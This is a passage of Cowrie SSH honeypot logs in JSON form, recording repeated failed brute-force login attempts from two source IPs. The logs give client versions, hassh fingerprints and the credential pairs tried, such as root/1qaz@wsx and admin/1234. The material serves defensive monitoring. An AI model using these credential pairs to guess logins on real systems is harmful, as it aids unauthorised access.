0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:01.843740Z","src_ip":"193.151.144.93","session":"c5270fa2c166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:02.351684Z","src_ip":"193.151.144.93","session":"c5270fa2c166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:05.214504Z","src_ip":"193.151.144.93","session":"c5270fa2c166","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":59626,"dst_ip":"10.17.0.5","dst_port":22,"session":"8045b333fb4b","protocol":"ssh","message":"New connection: 193.151.144.93:59626 (10.17.0.5:22) [session: 8045b333fb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:07.026299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:07.031701Z","src_ip":"193.151.144.93","session":"8045b333fb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:07.212456Z","src_ip":"193.151.144.93","session":"8045b333fb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:07.755086Z","src_ip":"193.151.144.93","session":"8045b333fb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:09.828515Z","src_ip":"193.151.144.93","session":"8045b333fb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36800,"dst_ip":"10.17.0.5","dst_port":22,"session":"218f375989cb","protocol":"ssh","message":"New connection: 193.151.144.93:36800 (10.17.0.5:22) [session: 218f375989cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:12.253233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:12.261276Z","src_ip":"193.151.144.93","session":"218f375989cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:12.431037Z","src_ip":"193.151.144.93","session":"218f375989cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:12.940272Z","src_ip":"193.151.144.93","session":"218f375989cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:14.113476Z","src_ip":"193.151.144.93","session":"218f375989cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":36820,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fcbe32938c0","protocol":"ssh","message":"New connection: 193.151.144.93:36820 (10.17.0.5:22) [session: 6fcbe32938c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:17.649410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:17.654301Z","src_ip":"193.151.144.93","session":"6fcbe32938c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:17.826542Z","src_ip":"193.151.144.93","session":"6fcbe32938c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:18.341524Z","src_ip":"193.151.144.93","session":"6fcbe32938c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:20.415565Z","src_ip":"193.151.144.93","session":"6fcbe32938c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":55960,"dst_ip":"159.203.135.109","dst_port":22,"session":"b423020851b4","protocol":"ssh","message":"New connection: 20.6.35.235:55960 (159.203.135.109:22) [session: b423020851b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:22.861424Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45340,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead1b41affe5","protocol":"ssh","message":"New connection: 193.151.144.93:45340 (10.17.0.5:22) [session: ead1b41affe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:23.104116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:23.111265Z","src_ip":"193.151.144.93","session":"ead1b41affe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:23.277237Z","src_ip":"193.151.144.93","session":"ead1b41affe5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:23.773260Z","src_ip":"193.151.144.93","session":"ead1b41affe5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:24.419525Z","src_ip":"20.6.35.235","session":"b423020851b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:24.658282Z","src_ip":"20.6.35.235","session":"b423020851b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:26.619953Z","src_ip":"193.151.144.93","session":"ead1b41affe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45354,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff0a65b43d3e","protocol":"ssh","message":"New connection: 193.151.144.93:45354 (10.17.0.5:22) [session: ff0a65b43d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:29.008621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:29.013372Z","src_ip":"193.151.144.93","session":"ff0a65b43d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:29.181377Z","src_ip":"193.151.144.93","session":"ff0a65b43d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:30.624407Z","src_ip":"193.151.144.93","session":"ff0a65b43d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:32.219391Z","src_ip":"193.151.144.93","session":"ff0a65b43d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123!@#","message":"login attempt [root/Aa123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:34.349259Z","src_ip":"20.6.35.235","session":"b423020851b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44744,"dst_ip":"10.17.0.5","dst_port":22,"session":"2091024ea097","protocol":"ssh","message":"New connection: 193.151.144.93:44744 (10.17.0.5:22) [session: 2091024ea097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:34.786547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:34.791945Z","src_ip":"193.151.144.93","session":"2091024ea097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:34.953739Z","src_ip":"193.151.144.93","session":"2091024ea097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:35.437436Z","src_ip":"193.151.144.93","session":"2091024ea097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.9","message":"Connection lost after 12.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:35.772623Z","src_ip":"20.6.35.235","session":"b423020851b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:36.600203Z","src_ip":"193.151.144.93","session":"2091024ea097","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60656,"dst_ip":"10.17.0.5","dst_port":22,"session":"e50509e41b62","protocol":"ssh","message":"New connection: 193.151.144.93:60656 (10.17.0.5:22) [session: e50509e41b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:40.249860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:40.254716Z","src_ip":"193.151.144.93","session":"e50509e41b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:40.426802Z","src_ip":"193.151.144.93","session":"e50509e41b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:40.927579Z","src_ip":"193.151.144.93","session":"e50509e41b62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:42.097879Z","src_ip":"193.151.144.93","session":"e50509e41b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b500287102f","protocol":"ssh","message":"New connection: 193.151.144.93:60668 (10.17.0.5:22) [session: 5b500287102f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:45.601980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:08:45.607266Z","src_ip":"193.151.144.93","session":"5b500287102f","protocol":"ssh"}
